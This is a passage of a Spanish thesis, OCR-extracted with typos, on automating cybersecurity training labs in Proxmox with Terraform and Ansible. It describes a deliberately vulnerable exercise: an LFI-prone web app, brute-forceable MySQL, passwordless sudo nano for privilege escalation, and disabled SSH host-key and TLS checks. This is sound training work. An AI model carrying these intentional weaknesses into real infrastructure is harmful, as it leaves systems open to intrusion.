Linuzx Containers (LXC) es una tecnologia de virtualizacién basada en el Kernel de Linux que permite
la creacién y gestién de entornos de ejecucion aislados, conocidos como contenedores, dentro de un tnico

sistema operativo Linux.

LXC simplifica la rapida creacién y gestion flexible de entornos tanto de desarrollo como de produccion,

al tiempo que proporciona un rendimiento éptimo y una baja carga adicional. Estas caracteristicas lo
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convierten en una opcién ampliamente adoptada para implementar aplicaciones en la nube, virtualizar

servidores y respaldar el desarrollo de software.

2.4.2. QEMU Maquina Virtual

Quick EMUlator (QEMU), es una herramienta de virtualizacién de cddigo abierto que permite la
ejecucion de sistemas operativos y programas disefiados para diferentes arquitecturas de CPU en una va-
riedad de plataformas de hardware. Con QEMU, los usuarios pueden crear y gestionar maquinas virtuales
(VMs) con facilidad, simulando hardware real para ejecutar sistemas operativos invitados de manera efi-
ciente. Esto proporciona un entorno flexible y seguro para probar, desarrollar y ejecutar aplicaciones en

diferentes entornos sin necesidad de hardware fisico adicional.

2.4.3. Cloud-init

Cloud-init es una herramienta ampliamente utilizada en entornos de computacién en la nube que
automatiza la configuracién de instancias de maquinas virtuales durante su inicio. Permite a los usuarios
especificar acciones a realizar, como configuracién de red, montaje de sistemas de archivos, ejecucién
de scripts de inicializacién, entre otros, de manera programaética y coherente en diversas plataformas de
nube. Esta automatizacién garantiza una implementacién rapida y consistente de las VMs, lo que mejora

la eficiencia operativa y facilita la administracién a escala.

2.5. VirtualBox

VirtualBox es un software de virtualizaciéon de codigo abierto desarrollado por Oracle. Permite a los

usuarios crear y ejecutar maquinas virtuales en sus computadoras fisicas.
= Multiplataforma s Interfaz Grafica Intuitiva

= Virtualizaciéon de Hardware = Extensibilidad y Personalizacién

2.6. Terraform

Terraform es una herramienta de codificacién declarativa que permite a los desarrolladores utilizar un
lenguaje de configuracién de alto nivel llamado HCL (HashiCorp Configuration Language) para describir
la infraestructura final deseada, en local o en nube, para ejecutar una aplicacién. A continuacién, elabora

un plan para obtener ese resultado final y lo ejecuta para suministrar la infraestructura.

Una de las caracteristicas clave de Terraform es su capacidad para trabajar con multiples proveedores
de nube, como AWS, Azure, GCP, incluso Proxmox, entre otros. Esto permite a los usuarios gestionar su
infraestructura en diferentes entornos de nube de manera consistente utilizando las mismas herramientas

y practicas.

2.6.1. HCL (HashiCorp Configuration Language)

HCL (HashiCorp Configuration Language) es un lenguaje de configuracion desarrollado por HashiCorp
y utilizado principalmente en herramientas de infraestructura como cédigo, como Terraform, Vault y
Consul. HCL se disefié para ser intuitivo y facil de leer, permitiendo a los usuarios describir de manera
clara y concisa la configuraciéon de la infraestructura y los recursos necesarios para sus aplicaciones y

sistemas.
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Posee un formato similar a JSON con una extension .tf, donde HCL ofrece varias caracteristicas que

lo hacen adecuado para describir infraestructuras:

= Declarativo: describe el estado deseado de la infraestructura, incluso los pasos para alcanzar ese

estado.

= Extensible: puedes definir tus propios recursos, los cuales son los bloques principales de los com-

ponentes de infraestructura como maquinas virtuales, redes, bases de datos etc.

= Gestién de dependencias: gestiona de manera automatica las dependencias entre los recursos.

Entiende las relaciones entre recursos y asegura la creaciéon en el orden correcto.

= Gestién de estado: mantiene un seguimiento del estado de la infraestructura en un fichero de
estado. Este fichero es usado para determinar que cambios necesitan ser aplicados posteriormente

y ayuda a mantener el estado deseado.

2.6.2. Flujo de trabajo

= Escribir: definicién de los recursos, los cuales pueden estar distribuidos en multiples proveedores

y servicios en la nube.

= Planear: Terraform crea un plan de ejecuciéon que describe la infraestructura que creard, actualizara

o eliminara basado en la infraestructura existente y en la configuracion.

» Aplicar: tras la aprobacién, Terraform ejecuta las operaciones propuestas en el orden correcto,

respetando cualquier dependencia entre recursos.

2.7. Ansible

Ansible es una poderosa herramienta de automatizacion de TI de cddigo abierto que simplifica la
gestién y configuracion de infraestructuras de tecnologia de la informacién de manera eficiente y escalable.
Con su enfoque sin agentes y su arquitectura basada en SSH, Ansible permite a los equipos automatizar
tareas de aprovisionamiento, configuracion y despliegue de forma sencilla y segura. Utilizando archivos
YAML para definir el estado deseado del sistema, Ansible adopta un enfoque declarativo que facilita la
creacién y mantenimiento de playbooks, lo que permite a los usuarios describir cémo quieren que esté

configurado su entorno sin tener que preocuparse por los detalles de implementacién.

2.7.1. Modbdulos

Los médulos en Ansible son componentes fundamentales que permiten realizar acciones especificas en
los nodos gestionados. Cada moédulo se encarga de una tarea particular, como la instalaciéon de paquetes,
la manipulacién de archivos, la gestién de servicios, entre otros. Ansible proporciona una amplia gama

de médulos integrados que cubren casi todas las necesidades comunes de administracion de sistemas.

2.7.2. Inventario

El inventario en Ansible es un archivo o conjunto de archivos que definen los nodos que Ansible admi-
nistra. Estos nodos pueden ser servidores remotos, miquinas virtuales, contenedores u otros dispositivos
de red. El inventario proporciona informaciéon sobre cémo acceder a estos nodos, como direcciones IP,

nombres de host, puertos SSH, entre otros detalles relevantes.
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Se utiliza para organizar y gestionar los nodos objetivo sobre los que se ejecutaran las tareas. Una
vez que se ha definido el inventario, se pueden ejecutar tareas en los nodos individuales o en grupos de
nodos utilizando playbooks de Ansible. Esto permite la automatizacién de tareas de administracion de
sistemas, como la configuracion, instalacion de software, actualizaciones y mucho mas, en miultiples nodos

de manera coherente y escalable

2.7.3. PlayBooks

Los playbooks de Ansible se utilizan para organizar los procesos de TI. Un playbook es un archivo
YAML con una extensién .yml o .yaml, el cual contiene por lo menos una tarea y sirve para definir el

estado deseado de un sistema.

Los plays son conjuntos ordenados de tareas que se ejecutan en las selecciones del host desde el archivo
de inventario de Ansible. Las tareas son los elementos que conforman los plays y realizan llamadas a los

moédulos de Ansible. En un play, las tareas se ejecutan en el orden en que se escribieron.

2.8. OpenAl

OpenAl es una organizacién lider en investigacién en inteligencia artificial, reconocida por su trabajo
en el desarrollo de modelos de lenguaje avanzados como ChatGPT. ChatGPT es una implementacién
especifica de la tecnologia de generacion de lenguaje de OpenAl, basada en la arquitectura de los modelos

Transformer.

Ofrece a través de su modelo ChatGPT una herramienta versatil para una amplia gama de proyec-
tos. ChatGPT puede proporcionar respuestas rapidas y precisas, ayudando a resolver problemas, generar
contenido y ofrecer sugerencias en tiempo real. Esto permite a los equipos aprovechar el conocimiento
instantaneo y evitar errores comunes al recibir orientacién contextualizada. Integrar ChatGPT en pro-
yectos brinda eficiencia, reduce los tiempos de btsqueda y fomenta la innovacién al facilitar el acceso a

informacién relevante y actualizada.

2.9. Overleaf

Overleaf es una plataforma en linea que facilita la creacion, edicién y gestiéon de documentos La-
TeX, destacadndose por sus caracteristicas avanzadas que optimizan el proceso de redaccién. Utilizada
ampliamente en contextos académicos y profesionales, Overleaf ofrece una serie de herramientas y fun-

cionalidades disefiadas para mejorar la eficiencia y la calidad de los documentos producidos.
= Edicién en la nube. s Compilacién instantanea de LaTeX.

= Calidad Tipografica Superior. s Facilidad de Uso.
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Capitulo 3
Descripcion flujo de despliegue

En este capitulo se describira detalladamente la infraestructura y el flujo de trabajo utilizados para el
despliegue de ejercicios de entrenamiento en ciberseguridad. Se analizaran las herramientas empleadas,
como GitHub para el control de versiones, Jenkins para la integraciéon y entrega continua (CI/CD),
Terraform para la provision de infraestructura en Proxmox, y Ansible para la configuracién de maquinas
virtuales QEMU y contenedores LXC.

1. Proceso de Despliegue

El flujo para el despliegue y configuracién de una infraestructura comienza con un desarrollador
que escribe el cédigo utilizando el editor Visual Studio Code en su ordenador dentro de VirtualBox.
En este entorno de desarrollo integrado, el desarrollador elabora el cédigo de infraestructura utilizando
herramientas como Terraform y Ansible. Una vez que el codigo esta listo y ha pasado las pruebas locales
necesarias, el desarrollador lo envia (push) al repositorio remoto en GitHub enlazado desde el mismo
VSCode. GitHub acttia como el almacén central donde se guarda y se versiona el c6digo, asegurando que

todos los cambios queden registrados y puedan ser revisados por otros miembros del equipo.

Para proceder al despliegue, se accede a la herramienta Jenkins. Cuando se invoca el pipeline de Jenkins
para desplegar la infraestructura deseada, realiza una extracciéon (pull) del repositorio para obtener la
versién mas reciente del cédigo. Jenkins, conocido por su capacidad para automatizar tareas repetitivas

y procesos de construccién, inicia el proceso de automatizacion al llamar a Terraform.

Terraform planifica los cambios necesarios en la infraestructura, generando un plan que detalla todas
las acciones necesarias para alcanzar el estado deseado. Este plan incluye la creacién, actualizaciéon o

eliminacién de recursos en funciéon de lo definido en el codigo.

Una vez que el plan de Terraform estd listo, se procede a su aplicacion. Terraform ejecuta el plan,
interactuando con la plataforma de virtualizacién Proxmox para realizar los cambios necesarios. Durante
este proceso, Terraform utiliza QEMU, un software de emulacion y virtualizacion, para crear y gestionar

las maquinas virtuales dentro de Proxmox.
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Después de que Terraform ha configurado la infraestructura base, Jenkins da el siguiente paso trans-
firiendo los ficheros necesarios al nodo Proxmox para que la herramienta Ansible pueda realizar las
configuraciones necesarias en las maquinas virtuales y contenedores recién creados. Ansible obtiene la
informacién necesaria del archivo de configuracion ansible.cfg y ejecuta el playbook general del médulo

correspondiente, los cuales obtienen los hosts del inventario hosts.

Ansible ejecuta los playbooks en las maquinas virtuales y Contenedores, aplicando todas las confi-
guraciones y ajustes necesarios para que estas maquinas funcionen segin lo especificado en el codigo
del desarrollador. Esta fase de configuracién puede incluir la instalacién de software, la configuracién de
servicios, la aplicaciéon de parches de seguridad y cualquier otra tarea necesaria para preparar el entorno
de produccion. Asi, el proceso completo garantiza que la infraestructura no solo esté desplegada, sino
también configurada y lista para su uso, siguiendo las especificaciones y necesidades definidas por el

desarrollador en su codigo inicial para la creacién del ejercicio.

Todas estas herramientas deben ser configuradas y puestas a punto para un correcto despliegue y

funcionamiento del proyecto.
s GitHub: la configuracion del repositorio GitHub puede verse en el apéndice
» MV VirtualBox: la configuracién de la maquina en VirtualBox puede verse en el apéndice [C]
» Jenkins: la configuracién del servidor Jenkins puede verse en el apéndice D]
» Proxmox: la configuraciéon del entorno Proxmox puede verse en el apéndice [E]
= Terraform: la configuraciéon de la herramienta Terraform se profundizara en el capitulo

= Amnsible: la configuracién de la herramienta Ansible se profundizara en el capitulo
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Figura 3.1: Diagrama flujo proyecto
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Capitulo 4
Planificaciéon de ejercicios

Este capitulo estard centrado en el planteamiento y configuraciéon de los ejercicios de entrenamiento
que se llevaran a cabo para poner a prueba el proyecto, abarcando diferentes areas y ataques de la ciberse-
guridad. Se profundizara en las configuraciones del despliegue por Terraform junto al aprovisionamiento
de las VM y LXC por Ansible.

1. Configuraciones generales

1.1. Terraform

En esta seccidn, se detallard la configuracién general de los ficheros de Terraform que se utilizan
para desplegar la infraestructura necesaria en Proxmox para el ejercicio propuesto en este capitulo. La
configuracién abarca los ficheros principales que son comunes y necesarios para cualquier despliegue.

Estos ficheros incluyen main.tf, vars.tf, backend.tf y terraform.tfvars.

1.1.1. Ficheros de configuracion

= main.tf

El fichero main.tf es el nicleo de la configuracién de Terraform. Aqui se definen los recursos que
se crearan y configurardan en Proxmox. En la seccién de este capitulo, se explicara el fichero

main.tf que se empleard para el despliegue del ejercicio a plantear.

» vars.tf

El fichero vars.tf se utiliza para definir las variables que se emplearan en los scripts de Terraform,
empleando el grupo de recursos [variable], donde se definen el tipo de dato type, el dato a alma-
cenar default y una descripcién del dato que se almacena description. También para los datos
que contienen una sensibilidad de ser expuestos, se declaran, en vez del pardmetro default, el pa-
rémetro sensitive true. En la seccién del anexo se puede observar detalladamente el fichero

completo.

s backend.tf

El fichero backend.tf contiene la versién del API a emplear para el despliegue de la infraestructura

con Proxmox, empleando asi el grupo de recursos [terraform] [required__providers|, donde se
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estd empleado el API source bpg/prozmox en la version estable version 0.55.1. En la secciénm

del anexo se puede observar detalladamente el fichero completo.

= provider.tf

El fichero provider.tf posee la conexion a establecer entre Terraform y el usuario autorizado en el
entorno final. Emplea el grupo de recursos [provider] seguido de entorno "Proxmox”. Este recurso
permite declarar pardmetros como el punto destino de despliegue Proxmox, siendo caso actual
endpoint (HTTPs://virtual.lab.inf.uva.es:20102/api2/json), el acceso mediante el ID del token
y el token en si, tratandose de una combinacién del ID del token y el Token secreto api__token
"$var.pm__api_token__id=3$var.Proxmox_API Token_Secret” y se concluye evitando la validacién
de los certificados TLS/SSL del servidor al establecer la conexién insecure var.pm__tls_insecure.

En la seccion del anexo se puede observar detalladamente el fichero completo.

s terraform.tfvars

El fichero terraform.tfvars tiene como objetivo securizar aquellas variables con el contenido sensible,
donde en un dmbito de produccién, es necesario que este fichero no sea expuesto, pero como se
trata de un proyecto educativo, no es crucial aislarlo actualmente. En este fichero se almacenan las
contrasenas genéricas para las maquinas y el Token secreto del usuario en la API del despliegue.
Estos pardametros vienen referenciados con el nombre de la variable sensible, previamente catalogada
en vars.tf, y el valor correspondiente. En la seccién [I.3.4] del anexo se puede observar detalladamente

el fichero completo.

1.2. Ansible

En esta seccién, se detallard la configuracion general de los ficheros de Ansible que se utilizan para
configurar la infraestructura en Proxmox para el ejercicio propuesto en este capitulo. La configuracion
abarca los ficheros principales que son comunes y necesarios para cualquier configuracion. Estos ficheros

son: ansible.cfg, hosts y module-1.yaml.

1.2.1. Inventario

Para configurar el inventario de Ansible, se decidié realizar una divisién en grupos de los hosts,

expresados con el encabezado [«grupo»], que compondran las diferentes redes o infraestructuras.

Comenzamos con el grupo kali, que como su nombre indica, se encuentra la I[P de la maquina atacante
Kali Linux, seguido del grupo router, quien lo compone el LXC que actuara como Router entre las redes
atacantes y defensora; y por ultimo tenemos el grupo intranet compuesto por los LXC de la red que

serd objetivo del ataque.

Para una mejor organizacién con los hosts e IPs, se ha declarado un apodo, concatenando el nombre

que se le quiere dar a la maquina con el parametro ansible__host «IP_host»s.

Todos estos grupos tienen asignado un campo de variable de grupo, declarado mediante el encabezado
[«grupo»:vars]; donde se asigna que usuario se empleard para las conexiones SSH mediante la variable
ansible__ssh__user, asignando usuario Kali para la maquina atacante y usuario root para el resto de

maquinas. En la seccién del anexo se puede observar detalladamente el fichero completo.
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1.2.2. Fichero de configuracion

En cuanto a la configuracién principal para la herramienta, se inicia con un encabezado [defaults],
donde simplemente se asigné la direccion al inventario de los hosts que se empleard para los playbooks
gracias a la variable inventory y como se ejecutard Ansible desde el propio directorio en el que se
encuentran los hosts, se asigna el nombre del fichero hosts y se desactivo la opcion host_key checking
False para evitar tener que actualizar las claves de seguimiento de los host que se desplieguen. Esta opcién
en un entorno de produccién debe estar siempre habilitada; pero como esto es un proyecto pequefio y no
se compromete ningin sistema, para evitar problemas queda desactivada. En la secciéon del anexo

se puede observar detalladamente el fichero completo.

1.2.3. module-1.yaml

Los ficheros playbooks que detallaran las configuraciones que se aplicaran a cada una de las maquinas
y contenedores acorde con las especificaciones requeridas para recrear el ejercicio propuesto, se detallaran

posteriormente en la seccién [2.6] de este capitulo.
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2. Creacion modulo 1

2.1. Contexto ejercicio

En este ejercicio se proporcionara a los participantes una infraestructura simulada que representa una
red empresarial. Esta infraestructura estard compuesta una instancia QEMU de Kali Linux, un LXC
router Ubuntu que actia como punto de control de trafico, y dos LXC Ubuntu adicionales que alojan

una aplicacién web interna Apache de la empresa y una base de datos MySQL, respectivamente.

El usuario participante recibird acceso a una instancia de Kali Linux QFEMU-kali-1, que servird como
dispositivo de ataque junto al acceso al usuario administrador ADMusuario del router LXC-ub-ro-1.
Desde esta instancia, los participantes tendran acceso a una amplia gama de herramientas y utilidades

de Pentesting y Hacking ético para llevar a cabo sus ataques.

El objetivo de los participantes sera penetrar en la red interna de la empresa, representada por las
maquinas LXC-ub-in-1 y LXC-ub-in-2 que alojan la aplicacién web vulnerable a ataques LFI y la base de
datos respectivamente, y como maquina objetivo a escalar privilegios seria la LXC-ub-in-1. La méquina
LXC-ub-in-1 estara compuesta por usuarios, de los cuales uno solo tendra acceso a privilegios de super-
usuario y con la capacidad de ejecutar el binario nano sin contrasena, siendo un punto fuerte de escalada
de privilegios. En cuanto al servidor MySQL, contard con una base de datos poblada junto a un usuario
administrador que el atacante debera encontrar indagando en la web interna de la empresa y acceder por
fuerza bruta al gestor MySQL. Una de las tablas almacena contrasenias con hash de los usuarios de la
empresa con la intencién de intentar acceder por fuerza bruta al usuario previamente mencionado con

privilegios en LXC-ub-in-1.

Los conceptos que se esperan llegar a trasmitir serian los siguientes:

Escaneo de puertos

Explotacion LFI mediante Directory Path

» o Traversal
Enumeracién de servicios

Autenticaciéon por Fuerza bruta
Shell inversa

Pivotaje

Ejecucion comandos remota

Escala privilegios

= SQL

Redireccién de puertos
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2.2. Tabla de redes

Las redes que se van a establecer y dividir en este ejercicio quedan registradas en la tabla donde

para una mejor visualizacién de las mismas, se puede observar la imagen

Las interfaces de red eth0 se encuentran destinadas para el acceso de Ansible desde el nodo principal

para poder configurar las maquinas desplegadas, mientras que el resto de eth son propiamente para el

ejercicio planteado.

Dispositivo Red 1P Gateway Interfaz
192.168.1.0/24 | 192.168.1.101 192.168.1.1 h
QEMU-kali-1 92.168.1.0/ 92.168.1.10 92.168 ethO
192.168.2.0/24 | 192.168.2.101 | 192.168.2.100 ethl
192.168.1.0/24 | 192.168.1.101 192.168.1.1 ethO
LXC-ub-ro-1 | 192.168.2.0/24 | 192.168.2.100 - ethl
192.168.3.0/24 | 192.168.3.100 - eth2
LXCouboin-1 192.168.1.0/24 | 192.168.1.102 192.168.1.1 ethO
192.168.3.0/24 | 192.168.3.101 | 192.168.3.100 ethl
LXC-tiboin.2 192.168.1.0/24 | 192.168.1.103 192.168.1.1 ethO
192.168.3.0/24 | 192.168.3.102 | 192.168.3.100 ethl
Cuadro 4.1: Redes médulo 1
|| PC
Uva
ens1g
10.0.20.10
aw
10.0.0.254 ’_‘
tfg2010
I
) o )
10 félé(z o1 Ansible 192"_' Tsa.n Ansible
gw ethd ethd
192.168.1.1 192.168.1.102 192.168.1.103
aw aw
192.168.1.1 192.168.1.1
QEMU-kali-1 Ansible
1 vmbro LXC-ub-in-1 LXC-ub-in-2
eth1 eth0 ]
192.168.2.101 192.168.1.100 Pk
aw agw
192 168.2.100 192 168.1.1 eth1 eth1
192.168.3.101 192.168.3.102
. aw aw
— 192.168.3.100 192.168.3.100
| LXC-ub-ro-1
et eth2
192.168.2.100 192.168.3.100

Figura 4.1: Diagrama red moédulo 1
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2.3. Servicios

Los servicios que seran desplegados en este ejercicio en la maquina vulnerable serdn los siguientes:

Dispositivo Servicio Puerto | Protocolo
QEMU-kali-1 | Secure Shell (SSH) 22 TCP
LXC-ub-ro-1 | Secure Shell (SSH) 22 TCP
LXC-tboin-1 Apache 80 TCP
Secure Shell (SSH) 22 TCP
LXCoubin.2 MySQL 3306 TCP
Secure Shell (SSH) 22 TCP

Cuadro 4.2: Servicios mddulo 1

2.4. Firewall

Se han establecido una serie de reglas del firewall para la correcta ejecucion del ejercicio en las mé-

quinas.
Maquina Tabla Cadena Protocolo | Puerto | Interfaz Accién Descripcién  de
la Regla
LXC-ub-ro-1 filter INPUT tep 22 - ACCEPT Permitir trafico en
el puerto 22
nat POSTROUTING - - ethO MASQUERADE | Reenvio de paque-
tes por ethO
LXCuboin-2 filter INPUT tcp 3306 - ACCEPT Permitir tréfico en
el puerto 3306
filter INPUT tep 22 - ACCEPT Permitir trafico en
el puerto 22
LXCouboin-1 filter INPUT tcp 80 - ACCEPT Permitir trafico en
el puerto 80
filter INPUT tcp 22 - ACCEPT Permitir tréfico en
el puerto 22

Cuadro 4.3: Firewall modulo 1
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2.5. Terraform

Para el despliegue del ejercicio con Terraform, la configuracion a plantear se basard en una maquina
QEMU QEMU-Kali-1 que actuard como red atacante, un contenedor LXC LXC-ub-ro-1 que actuard
como router y en la red interna objetivo, denominada intranet, se desplegardan dos contenedores LXC

LXC-ub-in-1 y LXC-ub-in-2. La configuracion puede verse completamente en el anexo [1.3.5

Las configuraciones que se describiran se resaltard el nombre de la clave del grupo en el formato
[grupo__Recurso], los pardmetros en negrita, mientras que el valor se mostrard en cursiva, donde los

7"

valores dentro de las comillas dobles reflejan un String.

Terraform se basa en grupos de recursos para la agrupacion de la infraestructura que se desea desplegar,
mediante el grupo de recursos [resource] acompaiiado del médulo del despliegue de la API, como se em-
plea BPG [5], el modulo para desplegar una méquina virtual en Proxmox es prozrmox__virtual _enviroment__vm

[7] vy un LXC es proxmoz_virtual _environment__container [6]; y el nombre para el recurso.

2.5.1. QEMU-Kali-1

Comenzamos con la creacién de la red atacante, la cual se tratard de una méaquina virtual clonada
mediante la plantilla configurada previamente en el apéndice Proxmox seccién 4] QEM U Kali Linux, para

ello emplearemos el médulo proxmoz_virtual__enviroment__vm.

1. Configuracion béasica

Comenzamos con la configuracién basica mediante una serie de parametros principales, siendo el
nombre a otorgar a la maquina name “QFEMU-kali-1” y en el nodo en el que serd desplegada
node__name ”tfg2010”. Se debe ingresar una ID tnica distintiva en Proxmox para la maquina
virtual siendo vm__id 200, con el controlador SCSI prefijado en la plantilla scsi__name “virtio-
scsi-single”, ademas de agregar unos tiempos de clonacién y creaciéon para evitar error de time out

en esos procesos timeout__clone 3600 segundos y timeout__create 3000 segundos.

2. QEMU agent

Para permitir una comunicacion bidireccional entre el Host y la maquina virtual, facilitando asi la
gestién y la monitorizacién, se habilita el agente QEMU mediante el grupo de recursos [agent],
conteniendo los parametros de tiempo de espera maximo en minutos timeout ”20m” y habilitando

el servicio enabled true.

3. Clonacién
Como esta maquina se trata de una clonacién, se emplea el bloque de recurso [clone], en el cual
ajustamos los parametros datastore__id asignamos el volumen local, los intentos de la clonacién

por si hay fallos en la misma retries 8, el ID de la plantilla que efectuara la clonacién vm__id

siendo la ID 1000 y el modo de clonaciéon completa se activa full true.

4. Hardware

En cuando a las configuraciones del hardware simulado, como son CPU, Memoria RAM y disco,

empleamos los bloques de recursos [cpu], donde asignamos los niicleos cores siendo 4, sockets con
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1 y el alojamiento de la CPU que serd en el propio host type host, el bloque de recurso [memory],
en el que se dedicard la memoria RAM en MegaBytes dedicated 8192 y por tltimo, el bloque
de recursos [disk], contenidiendo parametros para el tamano del disco de arranque, los cuales, le
asigno los mismos GigaBytes que posee la plantilla size 80, la interfaz de disco de arranque ”scsi0”

v la localizacion del mismo, siendo en nuestro caso datastore__id en el volumen “local”.

5. Cloud-Init

Para asignar las configuraciones que Cloud-init realizara tras la clonacién, emplearemos el grupo
de recursos [initialization], donde nos permite configurar el volumen del disco siendo, como se
mencioné previamente datastore__id en "local”, permitir la actualizaciéon de los paquetes del sis-
tema automaticamente upgrade true, configurar el servicio DNS para la resoluciéon de nombres,
pero en este clon se configurard de manera eficaz méas adelante con Ansible, ya que con Terraform,
aunque se utilice el grupo de recursos [dns| con los pardmetros domain y la lista servers, no
es posible configurarlo con Cloud-init. Continuamos con la configuracién de la cuenta de usua-
rio, que internamente se configura al usuario root, pero con Cloud-init, con el grupo de recursos
user__account incluiremos las claves SSH del usuario root y ansible del nodo principal de Proxmox
keys e incluimos en modo lista, con la funcién trimspace(«claves ), las claves almacenadas en vars.tf
llamadas wvar.ssh__key_nodo__root y var.ssh__key modo__ansible. Procedemos a configurar las redes
de la maquina con el grupo de recursos [ip__config|, donde se agregarédn tantas interfaces ethz
respectivamente como grupos de recursos de este tipo se anadan a la configuracién, por lo que es
esencial tener en cuenta el orden a la hora de asignar las IPs en las interfaces, entonces asignaremos
la IP de la interfaz que Ansible empleard para la configuraciéon con address "192.168.1.101/24”
junto al Gateway deseado gateway 7192.168.1.17 de igual manera configuramos la IP interna para
el ejercicio 7192.168.2.101/24” y Gateway "192.168.2.100".

6. Adaptadores de red
Complementando la configuracién anterior referente a las redes de la maquina, es necesario crear
los adaptadores de red, correspondiendo uno a cada eth creada en el parrafo anterior, con el grupo
de recursos [network__device], en el que solo se declarara el puente de red, configurado en la red

de Proxmox pudiendo ser consultado en el apéndice Proxmox seccion |1}, que unira el nodo principal

Proxmox con la maquina y sus interfaces, siendo en ambos adaptadores bridge “vmbr0”

Configurada la maquina atacante, se procede a configurar los contenedores del router e intranet.

2.5.2. LXC-ub-ro-1

Para la configuracién de este contenedor, se llevara a cabo la misma filosofia inicial que con la maquina
virtual QEMU-kali-1, comenzado con la funcién de grupo de recursos [resource], pero esta vez con el

parametro para los contenedores proxmox_virtual environment__container.

1. Dependencia

La configuraciéon del contenedor es mas sencilla, debido a que no se trata de una clonacién ni
empleo de Cloud-init para el abastecimiento inicial, pero si que se vio necesaria una dependencia

para la creacién de estos contenedores sobre los LXC LXC-ub-in-1 y LXC-ub-in-2, debido a la
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saturacién del nodo y en el caso que no se crease correctamente, el contenedor no inicia el flujo
de creacién y se cancele el despliegue, esto se consigue con el pardmetro depends__on [ proz-

mox__virtual__environment__container.LXC _Ubuntu__Intranet |.

2. Configuracién basica

Comenzamos con la declaracion de una serie de parametros iniciales, donde asignamos el nombre
del nodo al que pertenecerd node__name "tfg20107, el 1D principal, nico y distintivo para el
contenedor vim__id 200. Con el objetivo que una vez creado se pongan en marcha automaticamente,
se debe activar started true, junto a ello, un tiempo méaximo de creaciéon timeout__create de 3000

segundos.

3. Sistema Operativo

Proseguimos con la configuracién del sistema operativo que va a emplear el contenedor, mediante
el grupo de recursos [operating__system| podemos declarar pardmetros, como la plantilla que
empleara Terraform del repositorio de Proxmox descargada en el volumen ”local” del nodo asociado
template "local:vztmpl/ubuntu-22.04-standard__22.04-1_amd6/.tar.zst” siendo el formato a seguir
("<volumen de la plantilla>:<plantilla>") e indicar que se tratard de un sistema Ubuntu con el

parametro type ubuntu.

4. Hardware

Continuamos configurando, pero es la hora del hardware que simulara el contenedor: CPU, Memoria
RAM, Disco. Como previamente se configur6 en la maquina QEMU-kali-1, los grupos de recursos
son idénticos, [cpu], donde le agregamos los Niicleos suficientes para funcionar cores 2, [memory]|
para asignar los MegaBytes de memoria RAM siendo dedicated 512, y [disk| quien le asigna la
ubicacién "local” para disco de arranque con datastore__id “local” y el tamano en GigaBytes size
15.

5. Inicializacién

Una vez tenemos el hardware bésico, es hora de la configuracion de inicializacién del contenedor
mediante el grupo de recursos [initialization]. Comenzamos con el grupo [dns] cuyos parametros
se configuran exitosamente desde este punto sin realizar posteriormente cambios como surgia en la
méquina QEMU-kali-1, el nombre que se le asignara a cada maquina viene dado por hostname
LXC-ub-ro-1. En cuanto a la asignaciéon de las IPs, cada grupo creado de [ip__config] asigna
una IP diferente tal y como se mencioné previamente, por lo tanto se crearan 3 grupos, debido a
que el router debe conectar la red atacante 192.168.2.100/24, red intranet 192.168.3.100/24 vy el
nodo Proxmox 192.168.1.100/24 con Gateway 192.168.1.1 el puente "vmbr(0”, y user__account

empleando la misma configuracién de claves SSH y contrasefia que en la maquina QEMU-kali-1.
6. Adaptadores de red

Para complementar esta configuracién de red, es necesario el abastecimiento de adaptadores de red

con el grupo de recursos [network__inerfaces| en los que se declaran como parametro el puente

de red bridge “vmbr(0”. Como se asignaron 3 IPs diferentes, se deben crear 3 de estos grupos de

recursos.
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2.5.3. LXC-ub-in-1 y LXC-ub-in-2

Para proceder al despliegue de estos contenedores, se mantendra una configuracién muy similar descrita
en el contenedor LXC-ub-ro-1. La red se ha dividido en dos contenedores diferentes que poseeran la misma
configuracion LXC-ub-in-1 y LXC-ub-in-2 gracias a la instanciacion de multiples grupos de recursos que

Terraform permite establecer.

La configuracion del contenedor ve necesaria una dependencia sobre la maquina QFEM U-kali-1, debido a
que surgiese el caso que no se crease correctamente, el contenedor no inicia el flujo de creacion y se cancele

el despliegue, esto se consigue con el parametro depends__on [ prozxmozx_virtual__enviroemnt_vm.VM_K

ali__Atacker].

Para lograr que Terraform despliegue dos instancias de un mismo grupo de recursos, es necesario hacer
uso del pardmetro count al cual se le asigna el valor de un niimero referente a la cantidad de instancias

que se desea desplegar, siendo el caso del ejercicio 2 instancias.

Count es un parametro versatil que nos permite a su vez manipular los valores del resto de atributos
con el indicie asociado a cada una de las instancias a desplegar del bloque de recursos, gracias a variable
${count.index}.

Teniendo esto en cuenta, procedemos a describir los bloques de recursos y parametros que se mo-
dificardn mediante esta variable, el resto de configuraciones que no se detallardn a continuacién, se
mantendran a las descritas para el contendedor LXC-ub-ro-1. Comenzamos con el nombre a otorgar a
estos contenedores, donde mediante hostname ”LXC-ub-in-${count.index+1}” podemos asignar los va-
lores ”1” y ”2” respectivamente, ya que el indice comienza en 0 y para el ID vim__id comenzamos en el
0 "30%{count.index}”.

Finalmente, como no pueden coexistir dos direcciones IPs idénticas, procedemos a emplear esta va-
riable para declarar los vales de estas IPs, para ello, en el grupo de recursos [ip__config], el pardmetro
address obtendra el valor de la IP incrementado segin el indice correspondiente de la siguiente forma
7192.168.3.108{ count.index+1}” para la red intranet y 7192.168.1.103{(count.index+3)-1}/24” para la
red de configuraciones Ansible. De esta manera, la IP de Ansible asegura que el numero de host no

colisione con el del resto de maquinas, ya que estas maquinas debe comenzar desde la IP 192.168.1.102.
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2.6. Ansible

Una vez la infraestructura haya sido desplegada correctamente dentro de nuestro Proxmox, para
proseguir con la creacion de los ejercicios, se requiere configurar las maquinas y contenedores, para ello,
se hard uso de los playbooks de Ansible que se detallaran a continuacién. La configuraciéon puede verse

completamente en el anexo (1.4.3

Las configuraciones que se describirdn se resaltara el nombre del médulo de la forma [médulo], los
pardametros en negrita, mientras que el valor se mostrard en cursiva, donde los valores dentro de las

”

comillas dobles reflejan un String.

2.6.1. QEMU-kali-1

Playbook disenado para configurar el servicio DNS mediante el archivo resolv.conf. Utilizando el
modulo [copy], se crea el archivo dest /etc/resolv.conf con el contenido necesario para establecer el
servidor DNS content nameserver 10.0.0.250 y se asegura que el archivo es propiedad del usuario y

grupo root, con permisos 0644.

2.6.2. LXC-ub-ro-1

Playbook con el objetivo para habilitar y configurar el reenvio de IPs; y las reglas de iptables dentro
del router, facilitando el enrutamiento del trafico. Comienza con la creacién de un usuario administrativo
userADM, al que tendra acceso el atacante, con permisos sudo utilizando el médulo [user]. Se especifica
que el usuario debe pertenecer al grupo sudo, se le asigna una contrasena para establecerla en forma
